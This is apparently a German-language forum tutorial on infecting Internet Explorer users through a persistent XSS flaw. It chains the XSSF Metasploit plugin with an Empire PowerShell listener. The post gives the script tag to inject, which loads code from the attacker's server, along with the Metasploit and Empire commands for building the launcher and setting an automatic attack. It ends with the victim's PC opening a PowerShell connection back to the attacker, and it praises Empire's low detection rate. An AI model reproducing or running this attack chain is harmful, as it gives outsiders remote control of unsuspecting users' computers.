Hey Leute,
Hier wie angekündigt ein kleines Tutorial, wie ihr über eine persistente XSS einen Internet Explorer User infizieren könnt.
Was wird benötigt:
- Linux Distribution
- Empire-Framework: https://github.com/PowerShellEmpire/Empire
- Metasploit-Framework: https://github.com/rapid7/metasploit-framework
- XSS-Framework: https://github.com/sempervictus/xssf
- Eine persistente XSS-Lücke
Ich gehe nicht auf die Installation von Empire & MSF ein, da diese weit und breit im Internet zu finden sind.
Das XSS-Framework ist ein Plugin für Metasploit, daher müssen die Dateien richtig importiert werden.
Hier jeweils die Dateien von XSSF richtig in die vorhande Metasploit Architektur einfplegen.
Ist das Setup komplett, müsst ihr initial das XSSF in der Metasploit-Konsole einbinden:
Code:msfconsoleNun könnt ihr euch nach dem Eintippen vonCode:load xssf
über die TAB-Taste die weiteren Funktionen anzeigen lassen.Code:xssf_
Für unser Vorhaben schauen wir uns als erstes die URLs an, welche wir zur Verbindung benötigen.
Dies macht man über den Befehl:
Der Output bei mir:Code:xssf_urls
Der Generic XSS Injections Server ist für unser Belangen gedacht.Code:msf> xssf_urls [+] XSSF Server : 'http://meinserver:8888/' or 'http://<PUBLIC-IP>:8888/' [+] Generic XSS injection: 'http://meinserver:8888/loop' or 'http://<PUBLIC-IP>:8888/loop' [+] XSSF test page : 'http://meinserver/test.html' or 'http://<PUBLIC-IP>:8888/test.html' [+] XSSF Tunnel Proxy : 'localhost:8889' [+] XSSF logs page : 'http://localhost:8889/gui.html?guipage=main' [+] XSSF statistics page: 'http://localhost:8889/gui.html?guipage=stats' [+] XSSF help page : 'http://localhost:8889/gui.html?guipage=help'
Hierzu habe ich bei meinem Router den Port 8888 geöffnet.
Nun könnt ihr schon mit der XSS loslegen indem ihr folgendes Script einbaut:
<script src="http://euerserver:8888/loop?interval=2"></script>
Die XSS-Verbindung funktioniert zwar jetzt, ist aber immer noch nutzlos:
Für die Client-Exploitation verwende ich zur Zeit Powershell im Empire-Framework,
da dieses fast so gut ist wie der Meterpreter und dabei eine niedrigere/keine Erkennungsrate hat.
Hierzu das Empire-FW öffnen und per
Code:listenersnun die Settings des Listeners anzeigen lassen.Code:options
Mitmüsst ihr jetzt die Konfiguration anpassen,Code:set
um ihn anschließend mitzu starten.Code:execute
Ab hier horcht das Empire-FW auf neue Verbindungen.
Wie verbinde ich jetzt alle Komponenten?
#1
Wir parametrieren & erstellen den Payload im Empire-FW mit:
Code:usestager launcherCode:set EureOptionenNach erfolgreichem Parametrieren, wird der Powershell.exe Command ausgegeben.Code:execute
#2
In Metasploit:
Code:use auxiliary/xssf/public/IE/commandCode:set Command DenObenAusgegebenenPowershellCommandDas Modul läuft im Hintergrund und hat eine Job-ID.Code:exploit -j
Diese lässt sich herausfinden über:
Da ihr wahrscheinlich nichts im MSF laufen habt, hat die ID die Kennung "0".Code:jobs
Wenn jetzt mit
das Ganze abgeschlossen wird, passiert folgendes:Code:xssf_add_auto_attack 0
Victim surft auf die Seite, wo eine XSS versteckt ist.
XSS triggert automatisch das Modul *IE/Command.
Victim bekommt eine Meldung von ActiveX, welcher er mit "Ja" bestätigen muss.
Victim-PC öffnet kurz eine Powershell und stellt die finale Verbindung mit Empire her.
Falls jemand Anregungen, zum ändern dieses Textes hat, einfach schreiben!
Happy hunting!